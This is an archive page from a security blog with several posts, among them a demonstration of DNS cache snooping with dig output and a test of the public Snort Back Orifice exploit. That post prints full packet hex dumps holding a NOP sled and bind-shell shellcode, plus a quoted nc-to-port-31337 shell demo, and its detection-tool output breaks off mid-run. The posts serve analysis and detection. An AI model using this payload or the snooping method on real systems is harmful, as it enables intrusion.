Tampilkan postingan dengan label exploits. Tampilkan semua postingan
Tampilkan postingan dengan label exploits. Tampilkan semua postingan

Senin, 08 Januari 2007

Many Intruders Remain Unpredictable

The second of the three security principles listed in my first book is:

Many intruders are unpredictable.

I think the new Adobe Acrobat Reader vulnerability demonstrates this perfectly. (I'm not calling Stefano Di Paola an intruder; anyone who uses his technique maliciously is an intruder, though.)

Who would have thought to abuse a .pdf viewer in such a manner? Read more about the problem here.

This event reminds me of soccer goal security.

Jumat, 22 September 2006

The ZERT Evolution

In January during the WMF fiasco, I wrote The Power of Open Source. What we're now reading in Zero-Day Response Team Launches with Emergency IE Patch is the latest evolution of this idea. The Zeroday Emergency Response Team isn't a bunch of amateurs. These are some of the highest skilled security researchers and practitioners in the public arena. They are stepping up to meet a need not fulfilled by vendors, namely rapid response to security problems.

Why is this the case? Customers running closed operating systems and applications are stuck. They can't fix problems themselves, so they rely on their vendor. In fact, they are paying their vendor to perform the fixing service. To fund development of an alternative fix would be like paying for a fix twice.

ZERT is demonstrating that this model is broken. They are trying to respond as fast as possible to attacks. Because no one can be "ahead of the threat," reaction time is often key. ZERT can act faster than the vendor because ZERT operates in a freer environment:

Please keep in mind while the group performs extensive testing of any patches before releasing them, it is impossible for us to test our patches with each possible system configuration and in each usage scenario. We validate patches to the best of our ability, noting the environments in which the tests were performed and the test results.

So what shall it be? Wait and be owned, or turn to a third party? Perhaps we'll see a more rapid release of a use-at-your-own-risk patch from vendors, followed by a tested-for-stability patch. It's tough to believe that people without access to source code are developing fixes faster that the creators of software!

Kamis, 08 Juni 2006

Tracking Exploits

I received a link to this press release today. Unlike many press releases, this one contained interesting news. It reported that a new security company called Exploit Prevention Labs (XPL) just released their first Exploit Prevalence Survey™, which ranks five client-side exploits used to compromise Web surfers. This seems similar to US-CERT Current Activity, although that report jumbles together many different news items and doesn't name specific exploits. According to the press release

The results of the monthly Exploit Prevalence Survey are derived from automated reports by users of Exploit Prevention Labs’ SocketShield anti-exploit software (free trial download at http://www.explabs.com), who have agreed to have their SocketShield installations report all suspected exploit attempts back to the researchers at Exploit Prevention Labs.

This reminds me of Microsoft's Strider HoneyMonkey project, which uses bots to crawl the Web looking for malicious sites. XPL insteads relies on real users visiting the same sites.

In any case, I look forward to the next report from XPL and I hope they apply some sort of rigor to their analysis. I wonder if the sites they visit ever end up in one of the popular blacklists? Also, where do you download exploits as they are released, now that FrSIRT VNS costs money?

Selasa, 03 Januari 2006

In Defense of HD Moore

Thanks to Tom Ptacek, I learned of a truly lame SANS poll questioning the responsibility of the Metasploit ie_xp_pfv_metafile component. The poll results as of now show the following:

Was the release of the 2nd generation WMF exploit on Dec 31st 2005 irresponsible ?

35 % =>Yes, I 'd like to see the authors brought to justice
21 % =>Yes, they made the world a worse place
32 % =>No, the bad guys had already equal ammunition
11 % =>No, I believe the ends did justify the means
Total Answers: 1379

Regarding the first option -- what law exists against writing Metasploit components? About the last -- what "ends" are in play? I would have liked to have seen the following option:

"No, I now have a means to test the effectiveness of patches,
anti-virus/malware products, and other defensive measures."

Without a way to test the effectiveness of countermeasures, defenders are as much at the mercy of the intruders as they are the software vendors who fail to provide timely patches.

I found that many of the poll comments do not seem to reflect the majority of "Yes" (meaning "irresponsible") votes, and some reflect the sentiment of this post.

I highly recommend reading Tom's post and his link to criticism of SATAN in 1995. The history major in me speaks up once in a while to say "nothing ever changes."

Selasa, 15 November 2005

Using Cache Snooping to Estimate Code Spread

I've stayed out of the whole Sony DRM affair because I felt Windows guru Mark Russinovich has forgotten more about Windows internals than I will ever know. I try to avoid commenting on issues out of my league, and Windows rootkits are generally not something I know how to analyze at the host level.

However, today I learned of a Wired story that incorporates new Dan Kaminski research. Dan has provided a conservative estimate of the number of systems on which the Sony DRM software is installed, based on Luis Grangeia's cache snooping methodology.

Essentially Dan used his Deluvian Scanning Platform -- DoxPara Infrastructure Validation Project (DIVP) to ask name servers if they had cached results for the hosts associated with Sony's DRM. For example, in the following I query a name server to see if it knows how to resolve www.bejtlich.net. The key is to tell the name server not to perform recursion; if the name server can't answer my request on its own, it has to report the authoritative name servers for .net:

orr:/home/richard$ dig @kis.visi.com www.bejtlich.net A +norecurse

; <<>> DiG 9.3.1 <<>> @kis.visi.com www.bejtlich.net A +norecurse
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29658
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 14

;; QUESTION SECTION:
;www.bejtlich.net. IN A

;; AUTHORITY SECTION:
net. 44802 IN NS k.gtld-servers.net.
net. 44802 IN NS l.gtld-servers.net.
net. 44802 IN NS m.gtld-servers.net.
net. 44802 IN NS a.gtld-servers.net.
net. 44802 IN NS c.gtld-servers.net.
net. 44802 IN NS d.gtld-servers.net.
net. 44802 IN NS e.gtld-servers.net.
net. 44802 IN NS f.gtld-servers.net.
net. 44802 IN NS g.gtld-servers.net.
net. 44802 IN NS h.gtld-servers.net.
net. 44802 IN NS i.gtld-servers.net.
net. 44802 IN NS j.gtld-servers.net.

;; ADDITIONAL SECTION:
a.gtld-servers.net. 155541 IN A 192.5.6.30
a.gtld-servers.net. 159964 IN AAAA 2001:503:a83e::2:30
b.gtld-servers.net. 156332 IN A 192.33.14.30
b.gtld-servers.net. 159476 IN AAAA 2001:503:231d::2:30
c.gtld-servers.net. 156283 IN A 192.26.92.30
d.gtld-servers.net. 156283 IN A 192.31.80.30
e.gtld-servers.net. 156283 IN A 192.12.94.30
f.gtld-servers.net. 156283 IN A 192.35.51.30
g.gtld-servers.net. 156283 IN A 192.42.93.30
h.gtld-servers.net. 156283 IN A 192.54.112.30
i.gtld-servers.net. 156299 IN A 192.43.172.30
j.gtld-servers.net. 156299 IN A 192.48.79.30
k.gtld-servers.net. 156299 IN A 192.52.178.30
l.gtld-servers.net. 156299 IN A 192.41.162.30

;; Query time: 49 msec
;; SERVER: 209.98.98.98#53(209.98.98.98)
;; WHEN: Tue Nov 15 16:12:49 2005
;; MSG SIZE rcvd: 503

As you can see, kis.visi.com did not know how to resolve www.bejtlich.net, so it gave the .net generic top level domain server list.

Next I ask kis.visi.com to resolve www.bejtlich.net, but I just use the host command and I allow kis.visi.com to ask a name server that knows how to resolve www.bejtlich.net:

orr:/home/richard$ host www.bejtlich.net kis.visi.com
Using domain server:
Name: kis.visi.com
Address: 209.98.98.98#53
Aliases:

www.bejtlich.net has address 66.93.110.10
Using domain server:
Name: kis.visi.com
Address: 209.98.98.98#53
Aliases:

Using domain server:
Name: kis.visi.com
Address: 209.98.98.98#53
Aliases:

I get a response -- www.bejtlich.net is 66.93.110.10. Now when I use dig again and specify no recursion, kis.visi.com responds with the IP -- it has been cached.

orr:/home/richard$ dig @kis.visi.com www.bejtlich.net A +norecurse

; <<>> DiG 9.3.1 <<>> @kis.visi.com www.bejtlich.net A +norecurse
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42310
;; flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.bejtlich.net. IN A

;; ANSWER SECTION:
www.bejtlich.net. 7194 IN A 66.93.110.10

;; AUTHORITY SECTION:
bejtlich.net. 7194 IN NS ns18.zoneedit.com.
bejtlich.net. 7194 IN NS ns8.zoneedit.com.

;; ADDITIONAL SECTION:
ns8.zoneedit.com. 704 IN A 206.55.124.4
ns18.zoneedit.com. 384 IN A 72.9.106.68

;; Query time: 49 msec
;; SERVER: 209.98.98.98#53(209.98.98.98)
;; WHEN: Tue Nov 15 16:13:20 2005
;; MSG SIZE rcvd: 131

Dan used this technique to ask as many name servers as possible to resolve connected.sonymusic.com, updates.xcp-aurora.com and license.suncom2.com. When I asked the kis.visi.com name server about connected.sonymusic.com, I got these results:

orr:/home/richard$ dig @kis.visi.com connected.sonymusic.com A +norecurse

; <<>> DiG 9.3.1 <<>> @kis.visi.com connected.sonymusic.com A +norecurse
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10447
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;connected.sonymusic.com. IN A

;; AUTHORITY SECTION:
sonymusic.com. 1255 IN NS udns2.ultradns.net.
sonymusic.com. 1255 IN NS udns1.ultradns.net.

;; ADDITIONAL SECTION:
udns1.ultradns.net. 155728 IN A 204.69.234.1
udns2.ultradns.net. 155944 IN A 204.74.101.1

;; Query time: 53 msec
;; SERVER: 209.98.98.98#53(209.98.98.98)
;; WHEN: Tue Nov 15 16:29:38 2005
;; MSG SIZE rcvd: 125

This means some system has asked kis.visi.com to resolve an unspecified sonymusic.com host before I did. There is no result for connected.sonymusic.com, however. Compare that result with the following for www.sonymusic.com:

orr:/home/richard$ dig @kis.visi.com www.sonymusic.com A +norecurse

; <<>> DiG 9.3.1 <<>> @kis.visi.com www.sonymusic.com A +norecurse
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37716
;; flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.sonymusic.com. IN A

;; ANSWER SECTION:
www.sonymusic.com. 211 IN A 64.14.39.200

;; AUTHORITY SECTION:
sonymusic.com. 211 IN NS udns2.ultradns.net.
sonymusic.com. 211 IN NS udns1.ultradns.net.

;; ADDITIONAL SECTION:
udns1.ultradns.net. 147104 IN A 204.69.234.1
udns2.ultradns.net. 147320 IN A 204.74.101.1

;; Query time: 53 msec
;; SERVER: 209.98.98.98#53(209.98.98.98)
;; WHEN: Tue Nov 15 18:53:23 2005
;; MSG SIZE rcvd: 135

Notice the answer?

Next I try querying for connected.sonymusic.com, and we check the dig results again:

orr:/home/richard$ host connected.sonymusic.com kis.visi.com
Using domain server:
Name: kis.visi.com
Address: 209.98.98.98#53
Aliases:

connected.sonymusic.com has address 64.14.39.158
Using domain server:
Name: kis.visi.com
Address: 209.98.98.98#53
Aliases:

Using domain server:
Name: kis.visi.com
Address: 209.98.98.98#53
Aliases:

orr:/home/richard$ dig @kis.visi.com connected.sonymusic.com A +norecurse

; <<>> DiG 9.3.1 <<>> @kis.visi.com connected.sonymusic.com A +norecurse
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 284
;; flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;connected.sonymusic.com. IN A

;; ANSWER SECTION:
connected.sonymusic.com. 3592 IN A 64.14.39.158

;; AUTHORITY SECTION:
sonymusic.com. 87 IN NS udns1.ultradns.net.
sonymusic.com. 87 IN NS udns2.ultradns.net.

;; ADDITIONAL SECTION:
udns1.ultradns.net. 146980 IN A 204.69.234.1
udns2.ultradns.net. 147196 IN A 204.74.101.1

;; Query time: 53 msec
;; SERVER: 209.98.98.98#53(209.98.98.98)
;; WHEN: Tue Nov 15 18:55:26 2005
;; MSG SIZE rcvd: 141

The other two domains returned the gtld name servers. That means no one else asked kis.visi.com about those domains or hostnames recently.

Nice work Dan -- cool stuff.

Senin, 07 November 2005

Websense ToorCon Presentation

Thanks to a comment from Shahid for pointing me to the WebSense Security Labs presentation The Web Vector: Exploiting Human and Browser Vulnerabilities (.pdf). I think the most interesting part of the briefing is the introduction of Web-based bot net command and control. Because organizations are locking down outbound IRC, bot net controllers are using HTTP as a replacement protocol. If anyone has any experience with this sort of traffic, I would be interested in hearing from you.

Selasa, 25 Oktober 2005

Snort BO Exploit Published

As I expected, FrSIRT published an exploit for the Snort Back Orifice vulnerability discovered last week. I was able to compile and execute this code by RD of THC.org on FreeBSD 5.4.

orr:/home/richard$ ./THCsnortbo 66.93.110.10 1
Snort BackOrifice PING exploit (version 0.3)
by rd@thc.org

Selected target:
1 | manual testing gcc with -O0

Sending exploit to 66.93.110.10
Done.
orr:/home/richard$ ./THCsnortbo 66.93.110.10 2
Snort BackOrifice PING exploit (version 0.3)
by rd@thc.org

Selected target:
2 | manual testing gcc with -O2

Sending exploit to 66.93.110.10
Done.

Here is what the traffic looks like:

09:30:36.134739 IP 192.168.2.5.56292 > 66.93.110.10.53: 52835 updateD ServFail [5863q][|domain]
0x0000: 4500 0594 0bdb 0000 4011 f669 c0a8 0205 E.......@..i....
0x0010: 425d 6e0a dbe4 0035 0580 9592 ce63 d1d2 B]n....5.....c..
0x0020: 16e7 13cf d45a 5a79 4d8a b466 aaa2 c875 .....ZZyM..f...u
0x0030: 2309 78b2 e0d4 ef49 8a8e 39e5 aa8a 4d0d #.x....I..9...M.
0x0040: 22b5 3751 6ec9 9763 29e3 8469 f317 7430 ".7Qn..c)..i..t0
0x0050: f162 20c3 d501 a47b c0a0 c559 a5d5 96b2 .b.....{...Y....
0x0060: b04f fc0b 6749 d086 70c3 e65b 93f2 8c0a .O..gI..p..[....
0x0070: 0197 140f 95ce 3598 3a88 2fb3 cdbb ae2b ......5.:./....+
0x0080: 0458 7135 0f1e 8b06 be6d 2aa8 84bd 56ec .Xq5.....m*...V.
0x0090: da50 3ca1 a785 0b46 be2e bf3c a9a5 dd80 .P<....F...<....
0x00a0: 855a de98 ed70 cf8c 3cc9 b7f7 8ddf 3b7d .Z...p..<.....;}
0x00b0: 0595 ffbf f38d 4e6d 769b 7c1c c159 6a58 ......Nmv.|..YjX
0x00c0: 3b5c 6a7b 8aa8 43df f0c0 9710 36a0 0306 ;\j{..C.....6...
0x00d0: e92e 8752 824e a6b6 4a75 d07a bdc1 9e1c ...R.N..Ju.z....
0x00e0: ce27 bee7 6c6c d148 c458 303d a7a8 d68e .'..ll.H.X0=....
0x00f0: 6e43 7a81 5a50 fb69 81a6 e17e c6a3 c293 nCz.ZP.i...~....
0x0100: a7e1 a244 3d06 ffce 003a ac84 c95f 1bbf ...D=....:..._..
0x0110: bcbc a1d5 86bb d48d 0374 5852 c349 1b46 .........tXR.I.F
0x0120: ad73 deb9 25fc b51a 8a4f b14d 03cd bbfe .s..%....O.M....
0x0130: 9c22 a315 eb17 1bab f848 1d1b 3c39 143c .".......H..<9.<
0x0140: e965 5a0e 0a78 bd94 6cde 07a1 feda 7f15 .eZ..x..l.......
0x0150: 35db aa6a 13ac 966a 096b 98e4 7a9d 94be 5..j...j.k..z...
0x0160: 6100 7dcd 76e0 dee3 ae4e 78a8 e16e 0c8c a.}.v....Nx..n..
0x0170: 6f70 1c5b 2522 ee93 bca4 1132 04fc 4294 op.[%".....2..B.
0x0180: 3f0a 901b b0fe dfef 76e9 ca89 b472 6d4a ?.......v....rmJ
0x0190: b3ca e2b1 09c1 2a6d bcfa afd0 a2bd 2745 ......*m......'E
0x01a0: 2b6d dbc3 41d9 6941 6e96 a76d 9fcc 49f8 +m..A.iAn..m..I.
0x01b0: 880f a4b4 2812 1401 0e17 1be4 dc2a ebd9 ....(........*..
0x01c0: 8b0f 864b 10f9 8481 1dfc 559b 2b45 67fd ...K......U.+Eg.
0x01d0: 7609 8a6b 093b 32f7 1ce2 3df6 fbea 7699 v..k.;2...=...v.
0x01e0: 49fa 39db 25a6 f877 0c05 ddfc 3f26 b002 I.9.%..w....?&..
0x01f0: 06be fc5f 55a6 4db6 6d83 7dd0 8645 2f2d ..._U.M.m.}..E/-
0x0200: 6dd4 db5c 6988 2c69 a2f8 86d7 e3f5 8cef m..\i.,i........
0x0210: bfd8 e157 5219 6de6 6ac2 02b7 46a3 409d ...WR.m.j...F.@.
0x0220: 1d87 d616 42e7 4962 c75d fa55 00dc 234b ....B.Ib.].U..#K
0x0230: 295e e29c 8a9e 5a91 1a87 76d5 a26c 4f0f )^....Z...v..lO.
0x0240: 035a 7030 5b2b 18e8 833c 1f9e 1d41 3ddf .Zp0[+...<...A=.
0x0250: ad38 2755 c4bb 9cfc 25da bf52 2208 258e .8'U....%..R".%.
0x0260: 86d5 f2d2 f9dc 1fa3 ff7d 5ed9 62ce 4112 .........}^.b.A.
0x0270: 512e 188b 69da 1af2 1343 2656 4ee0 8aa0 Q...i....C&VN...
0x0280: 8fe0 8406 a602 265d e2e9 ff0e d8ca 788d ......&]......x.
0x0290: c068 bda6 0042 9d19 6d0a 53e8 af7a 46ed .h...B..m.S..zF.
0x02a0: 25a3 ad51 2966 577b b5a6 2aa6 85bd 2a57 %..Q)fW{..*...*W
0x02b0: 7fae 7dad 31bb cd19 ba18 0e90 ccff 203e ..}.1..........>
0x02c0: 70e6 b67e ea4e 18a8 1e9d 67a9 74ae 9fb9 p..~.N....g.t...
0x02d0: 38e8 82c9 252c d29b 8313 1e17 2df8 e1fb 8...%,......-...
0x02e0: 38b1 88d3 9223 53c9 2776 fd5f aa67 3f7a 8....#S.'v._.g?z
0x02f0: 121e 7221 c37f 1427 2ee4 4ca5 7bab 71cb ..r!...'..L.{.q.
0x0300: 868c c978 484e ae69 383a f58e 312f f223 ...xHN.i8:..1/.#
0x0310: 16f8 36fe 93bb 7aa4 a5d4 41a1 fdc2 58b7 ..6...z...A...X.
0x0320: a1df a196 1455 522e f8af b7c1 306e 7fbc .....UR.....0n..
0x0330: 2a7e 3527 dd49 adbb 1049 2334 5b83 7ee7 *~5'.I...I#4[.~.
0x0340: 9232 7a55 1f42 86c0 6e1f 6b1e 508d 8f6c .2zU.B..n.k.P..l
0x0350: b899 b925 2acf d5d3 358d 5a25 1e78 8b61 ...%*...5.Z%.x.a
0x0360: 1f6e 5bdc 10fc 94c8 e511 b96d 1712 2a5c .n[........m..*
0x0370: 480f e81f 41b6 5ab5 3e67 f01d ada8 86d0 H...A.Z.>g......
0x0380: 72d9 8b54 4f6a c2ee 426c 6858 ef06 18d3 r..TOj..BlhX....
0x0390: 4009 4bfe 8a06 04e8 32de 2bc3 f0fa 389a @.K.....2.+...8.
0x03a0: 93fd b3c4 a576 59f9 8f7a 2284 a051 c09a .....vY..z"..Q..
0x03b0: 8a70 0aea 8e87 fa75 1a9c b4a0 1078 0968 .p.....u.....x.h
0x03c0: 68c0 bbb5 9807 a152 f4a2 0d9c b1fc 4c58 h......R......LX
0x03d0: 2ecb 6d4a f482 8684 fd88 73dc b489 2121 ..mJ......s...!!
0x03e0: 5b4c eacf 73e5 c2a0 372c 9145 4a6d 62b6 [L..s...7,.EJmb.
0x03f0: 5261 dc27 e57d ce3c c3ca d05e 44f5 274e Ra.'.}.<...^D.'N
0x0400: 1467 cab9 db78 63cc 62e0 b80a 734e cb5c .g...xc.b...sN.
0x0410: a01c 5ea8 4782 9bc6 d52a 134e 88a4 e5b6 ..^.G....*.N....
0x0420: b91b 813b 5ac8 4e7d dca6 c911 55e5 4ff1 ...;Z.N}....U.O.
0x0430: 9f83 5c16 8477 7529 d9b0 6336 e9aa 8210 ..\..wu)..c6....
0x0440: d5ef 789e 77bd 491c 2e92 e890 16bc d51e ..x.w.I.........
0x0450: f8fd 1e58 2446 23ee fa37 8841 3e90 9090 ...X$F#..7.A>...
0x0460: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0470: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0480: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0490: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0500: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0510: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0520: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0530: 9090 9090 9090 9090 9090 9090 9090 31db ..............1.
0x0540: 5343 536a 026a 6658 9989 e1cd 8096 4352 SCSj.jfX......CR
0x0550: 6668 7a69 6653 89e1 6a66 5850 5156 89e1 fhzifS..jfXPQV..
0x0560: cd80 b066 d1e3 cd80 5252 5643 89e1 b066 ...f....RRVC...f
0x0570: cd80 936a 0259 b03f cd80 4979 f9b0 0b52 ...j.Y.?..Iy...R
0x0580: 682f 2f73 6868 2f62 696e 89e3 5253 89e1 h//shh/bin..RS..
0x0590: cd80 0000 ....
09:30:49.654205 IP 192.168.2.5.55465 > 66.93.110.10.53: 52835 updateD ServFail [5863q][|domain]
0x0000: 4500 0594 0be4 0000 4011 f660 c0a8 0205 E.......@..`....
0x0010: 425d 6e0a d8a9 0035 0580 8ec2 ce63 d1d2 B]n....5.....c..
0x0020: 16e7 13cf 1fa1 a586 4d8a b466 aaa2 c875 ........M..f...u
0x0030: 2309 78b2 e0d4 ef49 8a8e 39e5 aa8a 4d0d #.x....I..9...M.
0x0040: 22b5 3751 6ec9 9763 29e3 8469 f317 7430 ".7Qn..c)..i..t0
0x0050: f162 20c3 d501 a47b c0a0 c559 a5d5 96b2 .b.....{...Y....
0x0060: b04f fc0b 6749 d086 70c3 e65b 93f2 8c0a .O..gI..p..[....
0x0070: 0197 140f 95ce 3598 3a88 2fb3 cdbb ae2b ......5.:./....+
0x0080: 0458 7135 0f1e 8b06 be6d 2aa8 84bd 56ec .Xq5.....m*...V.
0x0090: da50 3ca1 a785 0b46 be2e bf3c a9a5 dd80 .P<....F...<....
0x00a0: 855a de98 ed70 cf8c 3cc9 b7f7 8ddf 3b7d .Z...p..<.....;}
0x00b0: 0595 ffbf f38d 4e6d 769b 7c1c c159 6a58 ......Nmv.|..YjX
0x00c0: 3b5c 6a7b 8aa8 43df f0c0 9710 36a0 0306 ;\j{..C.....6...
0x00d0: e92e 8752 824e a6b6 4a75 d07a bdc1 9e1c ...R.N..Ju.z....
0x00e0: ce27 bee7 6c6c d148 c458 303d a7a8 d68e .'..ll.H.X0=....
0x00f0: 6e43 7a81 5a50 fb69 81a6 e17e c6a3 c293 nCz.ZP.i...~....
0x0100: a7e1 a244 3d06 ffce 003a ac84 c95f 1bbf ...D=....:..._..
0x0110: bcbc a1d5 86bb d48d 0374 5852 c349 1b46 .........tXR.I.F
0x0120: ad73 deb9 25fc b51a 8a4f b14d 03cd bbfe .s..%....O.M....
0x0130: 9c22 a315 eb17 1bab f848 1d1b 3c39 143c .".......H..<9.<
0x0140: e965 5a0e 0a78 bd94 6cde 07a1 feda 7f15 .eZ..x..l.......
0x0150: 35db aa6a 13ac 966a 096b 98e4 7a9d 94be 5..j...j.k..z...
0x0160: 6100 7dcd 76e0 dee3 ae4e 78a8 e16e 0c8c a.}.v....Nx..n..
0x0170: 6f70 1c5b 2522 ee93 bca4 1132 04fc 4294 op.[%".....2..B.
0x0180: 3f0a 901b b0fe dfef 76e9 ca89 b472 6d4a ?.......v....rmJ
0x0190: b3ca e2b1 09c1 2a6d bcfa afd0 a2bd 2745 ......*m......'E
0x01a0: 2b6d dbc3 41d9 6941 6e96 a76d 9fcc 49f8 +m..A.iAn..m..I.
0x01b0: 880f a4b4 2812 1401 0e17 1be4 dc2a ebd9 ....(........*..
0x01c0: 8b0f 864b 10f9 8481 1dfc 559b 2b45 67fd ...K......U.+Eg.
0x01d0: 7609 8a6b 093b 32f7 1ce2 3df6 fbea 7699 v..k.;2...=...v.
0x01e0: 49fa 39db 25a6 f877 0c05 ddfc 3f26 b002 I.9.%..w....?&..
0x01f0: 06be fc5f 55a6 4db6 6d83 7dd0 8645 2f2d ..._U.M.m.}..E/-
0x0200: 6dd4 db5c 6988 2c69 a2f8 86d7 e3f5 8cef m..\i.,i........
0x0210: bfd8 e157 5219 6de6 6ac2 02b7 46a3 409d ...WR.m.j...F.@.
0x0220: 1d87 d616 42e7 4962 c75d fa55 00dc 234b ....B.Ib.].U..#K
0x0230: 295e e29c 8a9e 5a91 1a87 76d5 a26c 4f0f )^....Z...v..lO.
0x0240: 035a 7030 5b2b 18e8 833c 1f9e 1d41 3ddf .Zp0[+...<...A=.
0x0250: ad38 2755 c4bb 9cfc 25da bf52 2208 258e .8'U....%..R".%.
0x0260: 86d5 f2d2 f9dc 1fa3 ff7d 5ed9 62ce 4112 .........}^.b.A.
0x0270: 512e 188b 69da 1af2 1343 2656 4ee0 8aa0 Q...i....C&VN...
0x0280: 8fe0 8406 a602 265d e2e9 ff0e d8ca 788d ......&]......x.
0x0290: c068 bda6 0042 9d19 6d0a 53e8 af7a 46ed .h...B..m.S..zF.
0x02a0: 25a3 ad51 2966 577b b5a6 2aa6 85bd 2a57 %..Q)fW{..*...*W
0x02b0: 7fae 7dad 31bb cd19 ba18 0e90 ccff 203e ..}.1..........>
0x02c0: 70e6 b67e ea4e 18a8 1e9d 67a9 74ae 9fb9 p..~.N....g.t...
0x02d0: 38e8 82c9 252c d29b 8313 1e17 2df8 e1fb 8...%,......-...
0x02e0: 38b1 88d3 9223 53c9 2776 fd5f aa67 3f7a 8....#S.'v._.g?z
0x02f0: 121e 7221 c37f 1427 2ee4 4ca5 7bab 71cb ..r!...'..L.{.q.
0x0300: 868c c978 484e ae69 383a f58e 312f f223 ...xHN.i8:..1/.#
0x0310: 16f8 36fe 93bb 7aa4 a5d4 41a1 fdc2 58b7 ..6...z...A...X.
0x0320: a1df a196 1455 522e f8af b7c1 306e 7fbc .....UR.....0n..
0x0330: 2a7e 3527 dd49 adbb 1049 2334 5b83 7ee7 *~5'.I...I#4[.~.
0x0340: 9232 7a55 1f42 86c0 6e1f 6b1e 508d 8f6c .2zU.B..n.k.P..l
0x0350: b899 b925 2acf d5d3 358d 5a25 1e78 8b61 ...%*...5.Z%.x.a
0x0360: 1f6e 5bdc 10fc 94c8 e511 b96d 1712 2a5c .n[........m..*
0x0370: 480f e81f 41b6 5ab5 3e67 f01d ada8 86d0 H...A.Z.>g......
0x0380: 72d9 8b54 4f6a c2ee 426c 6858 ef06 18d3 r..TOj..BlhX....
0x0390: 4009 4bfe 8a06 04e8 32de 2bc3 f0fa 389a @.K.....2.+...8.
0x03a0: 93fd b3c4 a576 59f9 8f7a 2284 a051 c09a .....vY..z"..Q..
0x03b0: 8a70 0aea 8e87 fa75 1a9c b4a0 1078 0968 .p.....u.....x.h
0x03c0: 68c0 bbb5 9807 a152 f4a2 0d9c b1fc 4c58 h......R......LX
0x03d0: 2ecb 6d4a f482 8684 fd88 73dc b489 2121 ..mJ......s...!!
0x03e0: 5b4c eacf 73e5 c2a0 372c 9145 4a6d 62b6 [L..s...7,.EJmb.
0x03f0: 5261 dc27 e57d ce3c c3ca d05e 44f5 274e Ra.'.}.<...^D.'N
0x0400: 1467 cab9 db78 63cc 62e0 b80a 734e cb5c .g...xc.b...sN.
0x0410: a01c 5ea8 4782 9bc6 d52a 134e 88a4 e5b6 ..^.G....*.N....
0x0420: b91b 813b 5a1c edcf 5da6 c911 55e5 4ff1 ...;Z...]...U.O.
0x0430: 9f77 ffa4 0577 7529 d9b0 6336 e97e 21a2 .w...wu)..c6.~!.
0x0440: 54ef 789e 77bd 491c 2ef1 71b6 0f90 9090 T.x.w.I...q.....
0x0450: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0460: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0470: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0480: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0490: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x04f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0500: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0510: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0520: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0530: 9090 9090 9090 9090 9090 9090 9090 31db ..............1.
0x0540: 5343 536a 026a 6658 9989 e1cd 8096 4352 SCSj.jfX......CR
0x0550: 6668 7a69 6653 89e1 6a66 5850 5156 89e1 fhzifS..jfXPQV..
0x0560: cd80 b066 d1e3 cd80 5252 5643 89e1 b066 ...f....RRVC...f
0x0570: cd80 936a 0259 b03f cd80 4979 f9b0 0b52 ...j.Y.?..Iy...R
0x0580: 682f 2f73 6868 2f62 696e 89e3 5253 89e1 h//shh/bin..RS..
0x0590: cd80 0000 ....

I ran this traffic by a local sensor running Snort 2.3.3 on FreeBSD 5.4 and it continued to function. There was no DoS or exploit. RD's exploit as written targets Linux. His demo exploits a 2.6 kernel:

* $ ./snortbo 192.168.0.101 1
* Snort BackOrifice PING exploit (version 0.3)
* by rd@thc.org
*
* Selected target:
* 1 | manual testing gcc with -O0
*
* Sending exploit to 192.168.0.101
* Done.
*
* $ nc 192.168.0.101 31337
* id
* uid=104(snort) gid=409(snort) groups=409(snort)
* uname -sr
* Linux 2.6.11-hardened-r1

Kyle Haugsness wrote a tool and rules to detect the Snort BO exploit which you might find useful. By following the directions in the code I got it to work on FreeBSD 5.4:

orr:/home/richard$ gcc -Wall -lpcap -o ident-snort-bo-exploit ident-snort-bo-exploit.c
orr:/home/richard$ sudo ./ident-snort-bo-exploit
# Using interface: fxp0
# Using alert output file: stdout
# Using pcap output file: snort-bo-exploit-2005-10-25-09:46:54.cap
#
##############################################
#
# Detected exploit attempt! (details below)
# Note that shellcode should start after 9th
# byte into the payload below (the 8 byte
# magic value has been removed and the
